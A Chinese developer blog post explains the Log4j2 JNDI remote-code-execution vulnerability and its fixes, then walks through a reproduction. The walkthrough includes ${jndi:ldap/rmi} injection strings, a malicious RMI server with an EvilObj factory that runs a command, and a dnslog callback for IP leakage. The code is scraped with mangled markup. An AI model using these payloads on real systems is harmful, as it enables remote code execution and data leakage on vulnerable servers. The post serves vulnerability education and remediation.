热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

Log4j2最近被爆出巨大漏洞

一、背景近日,知名sl4j日志规范的实现框架log4j2被爆出巨大漏洞,可被黑客利用JNDI机制来执行非法命令、拉取远程代码执行,获取非

一、背景

近日,知名sl4j日志规范的实现框架log4j2被爆出巨大漏洞,可被黑客利用JNDI机制来执行非法命令、拉取远程代码执行,获取非法服务器权限等,不幸的是很多知名框架也用了log4j2,我们熟知的就有Apache Struts2、Apache Solr、Apache Druid、Apache Flink…

相信很多互联网厂此刻正瑟瑟发抖,紧急修复。

国家网络应急中心也紧急发布了处理意见:关于Apache Log4j2存在远程代码执行漏洞的安全公告

罪魁祸首是Apache Log4j2、2.0 - 2.15.0-rc1这个两个版本,比如你的项目中有org.apache.logging.log4j:log4j-core:jar:2.14.1,那就赶紧去修复吧。

导致该问题的原因是log4j2支持jndi的lookup
在这里插入图片描述

很多服务使用了log4j2框架,并且打了API入参日志、三方交互日志等,正在被黑客与攻击者拿去搞事情,目前很多安全厂商都给出了替换版本、修改JVM启动参数、日志格式配置文件等的低成本解决办法,不过这里我还是觉得全面移除掉log4j2(可换成logback)比较保险,并且只要是基于sl4j规范来开发的,替换成本也是相当的低!

二、复现方法

下面以springboot服务为例:
在这里插入图片描述

log4j2框架maven依赖:

<dependencies><dependency><groupId>org.springframework.bootgroupId><artifactId>spring-boot-starter-webartifactId><exclusions><exclusion><groupId>org.springframework.bootgroupId><artifactId>spring-boot-starter-loggingartifactId>exclusion>exclusions>dependency><dependency> <groupId>org.springframework.bootgroupId><artifactId>spring-boot-starter-log4j2artifactId>dependency>dependencies>

log4j2.xml配置&#xff1a;


<Configuration status&#61;"WARN"><Appenders><Console name&#61;"stdout" target&#61;"SYSTEM_OUT"><PatternLayout pattern&#61;"%date{HH:mm:ss.SSS} [%thread] %-5level %logger{36} - %msg%n"/>Console><File name&#61;"file" fileName&#61;"logs/test.log" append&#61;"false"><PatternLayout pattern&#61;"%date{HH:mm:ss.SSS} [%thread] %-5level %logger{36} - %msg%n"/>File>Appenders><Loggers><Root level&#61;"info"><AppenderRef ref&#61;"file"/><AppenderRef ref&#61;"stdout"/>Root>Loggers>Configuration>

application.yml配置&#xff1a;


logging:config: classpath:log4j2.xml

测试方法&#xff1a;

public class Main {private static final Logger logger &#61; LoggerFactory.getLogger(Main.class);public static void main(String[] args) {logger.info("username is:{}", "${java:os}");logger.info("${jndi:ldap://127.0.0.1:1389/#Exploit}");logger.error("${}", "jndi:ldap://127.0.0.1:1389/#Exploit");logger.error("{}", "${jndi:ldap://127.0.0.1:1389/#Exploit}");}
}

这里如果是调用的&#xff1a;jndi:rmi://xxx&#xff0c;那么可以实现用户输入信息后&#xff0c;利用RMI远程调用来调用黑客远程的代码&#xff0c;到服务本机来执行&#xff08;黑客可以再编写一个api回调信息、也可以执行一些Runtime命令&#xff09;&#xff0c;这就非常危险了。

之前是在log4j2的2.15.0以前的版本&#xff0c;都有该漏洞官方收到反馈后&#xff0c;紧急发布了&#xff1a; 2.15.0-rc1版本&#xff0c;后面此版本被黑客成功绕过&#xff0c;故官方又重新发布了2.15.0-rc2版本。

下面我们演示一下黑客利用RMI的操作&#xff1a;

1、首先编写远程类&#xff1a;

public class RmiServer {public static void main(String[] args) throws Exception {Registry registry &#61; LocateRegistry.createRegistry(1111);Reference reference &#61; new Reference("com.test.EvilObj", "com.test.EvilObj", null);ReferenceWrapper wrapper &#61; new ReferenceWrapper(reference);registry.rebind("evil", wrapper);System.out.println("RMI服务已经启动....");}}

public class EvilObj {static {System.out.println("一段代码执行了...");}
}

2、通过log2j漏洞&#xff0c;远程调用&#xff08;相当于被攻击服务拉取黑客代码到本地执行&#xff09;

public class Main {private static final Logger logger &#61; LoggerFactory.getLogger(Main.class);public static void main(String[] args) {String username &#61; "${jndi:rmi://127.0.0.1:1111/evil}";logger.info("username is:{}", username);}
}

在这里插入图片描述
例如我们这里打开计算器&#xff1a;

public class EvilObj extends UnicastRef implements ObjectFactory {// static {
//
// }public EvilObj() {System.out.println("构造方法被执行了");}&#64;Overridepublic Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {openCalc();return new EvilObj();}private void openCalc() {try {System.out.println("工厂方法已经执行");Runtime.getRuntime().exec("open /Applications/Calculator.app");} catch (IOException e) {e.printStackTrace();}}
}

本质原因&#xff1a;javax.naming.spi.NamingManager类中getObjectFactoryFromReference方法中clas.newInstance()为罪魁祸首。

static ObjectFactory getObjectFactoryFromReference(Reference ref, String factoryName)throws IllegalAccessException,InstantiationException,MalformedURLException {Class<?> clas &#61; null;// Try to use current class loadertry {clas &#61; helper.loadClass(factoryName);} catch (ClassNotFoundException e) {// ignore and continue// e.printStackTrace();}// All other exceptions are passed up.// Not in class path; try to use codebaseString codebase;if (clas &#61;&#61; null &&(codebase &#61; ref.getFactoryClassLocation()) !&#61; null) {try {clas &#61; helper.loadClass(factoryName, codebase);} catch (ClassNotFoundException e) {}}return (clas !&#61; null) ? (ObjectFactory) clas.newInstance() : null;}

利用dnslog&#xff0c;还可以获取IP

http://dnslog.cn/

例如&#xff1a;ibfx5p.dnslog.cn
1、黑客首先再dnslog获取一个临时地址

2、再注入&#xff1a;${jndi:ldap://ibfx5p.dnslog.cn}
在这里插入图片描述

题外话

新技术的固然有性能更好等特点&#xff0c;不过在使用的时候最好也还是等它稳定一段时间再用&#xff0c;springboot官方配置的实现框架是logback&#xff0c;目前还没有爆出什么大的漏洞。


推荐阅读
  • 第二章:Kafka基础入门与核心概念解析
    本章节主要介绍了Kafka的基本概念及其核心特性。Kafka是一种分布式消息发布和订阅系统,以其卓越的性能和高吞吐量而著称。最初,Kafka被设计用于LinkedIn的活动流和运营数据处理,旨在高效地管理和传输大规模的数据流。这些数据主要包括用户活动记录、系统日志和其他实时信息。通过深入解析Kafka的设计原理和应用场景,读者将能够更好地理解其在现代大数据架构中的重要地位。 ... [详细]
  • 从0到1搭建大数据平台
    从0到1搭建大数据平台 ... [详细]
  • 在JavaWeb开发中,文件上传是一个常见的需求。无论是通过表单还是其他方式上传文件,都必须使用POST请求。前端部分通常采用HTML表单来实现文件选择和提交功能。后端则利用Apache Commons FileUpload库来处理上传的文件,该库提供了强大的文件解析和存储能力,能够高效地处理各种文件类型。此外,为了提高系统的安全性和稳定性,还需要对上传文件的大小、格式等进行严格的校验和限制。 ... [详细]
  • 数字图书馆近期展出了一批精选的Linux经典著作,这些书籍虽然部分较为陈旧,但依然具有重要的参考价值。如需转载相关内容,请务必注明来源:小文论坛(http://www.xiaowenbbs.com)。 ... [详细]
  • “近年来最大计算机漏洞”被中国程序员发现!
    头条中国程序员,计算机漏洞头条(观察者网讯)据美联社12月11日报道,中国阿里云安全团队在Web服务器软件阿帕奇(Apache)下的开源日志组件Log4j内,发现一个漏洞Log4S ... [详细]
  • 2020年9月15日,Oracle正式发布了最新的JDK 15版本。本次更新带来了许多新特性,包括隐藏类、EdDSA签名算法、模式匹配、记录类、封闭类和文本块等。 ... [详细]
  • 用阿里云的免费 SSL 证书让网站从 HTTP 换成 HTTPS
    HTTP协议是不加密传输数据的,也就是用户跟你的网站之间传递数据有可能在途中被截获,破解传递的真实内容,所以使用不加密的HTTP的网站是不 ... [详细]
  • Spring Boot 中配置全局文件上传路径并实现文件上传功能
    本文介绍如何在 Spring Boot 项目中配置全局文件上传路径,并通过读取配置项实现文件上传功能。通过这种方式,可以更好地管理和维护文件路径。 ... [详细]
  • 网站访问全流程解析
    本文详细介绍了从用户在浏览器中输入一个域名(如www.yy.com)到页面完全展示的整个过程,包括DNS解析、TCP连接、请求响应等多个步骤。 ... [详细]
  • 如何在Linux服务器上配置MySQL和Tomcat的开机自动启动
    在Linux服务器上部署Web项目时,通常需要确保MySQL和Tomcat服务能够随系统启动而自动运行。本文将详细介绍如何在Linux环境中配置MySQL和Tomcat的开机自启动,以确保服务的稳定性和可靠性。通过合理的配置,可以有效避免因服务未启动而导致的项目故障。 ... [详细]
  • 在Linux系统中避免安装MySQL的简易指南
    在Linux系统中避免安装MySQL的简易指南 ... [详细]
  • 部署solr建立nutch索引
    2019独角兽企业重金招聘Python工程师标准接着上篇nutch1.4的部署应用,我们来部署一下solr,solr是对lucene进行了封装的企 ... [详细]
  • 你知道Kafka和Redis的各自优缺点吗?一文带你优化选择,不走弯路 ... [详细]
  • 前言本篇为大家总结社区多人合作常见的场景和对应的git操作命令。本篇非新手教程,阅读本篇前需具备Git基础知识。Git入门教程请参考https://www ... [详细]
  • 马蜂窝数据总监分享:从数仓到数据中台,大数据演进技术选型最优解
    大家好,今天分享的议题主要包括几大内容:带大家回顾一下大数据在国内的发展,从传统数仓到当前数据中台的演进过程;我个人认为数 ... [详细]
author-avatar
禁灭19
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有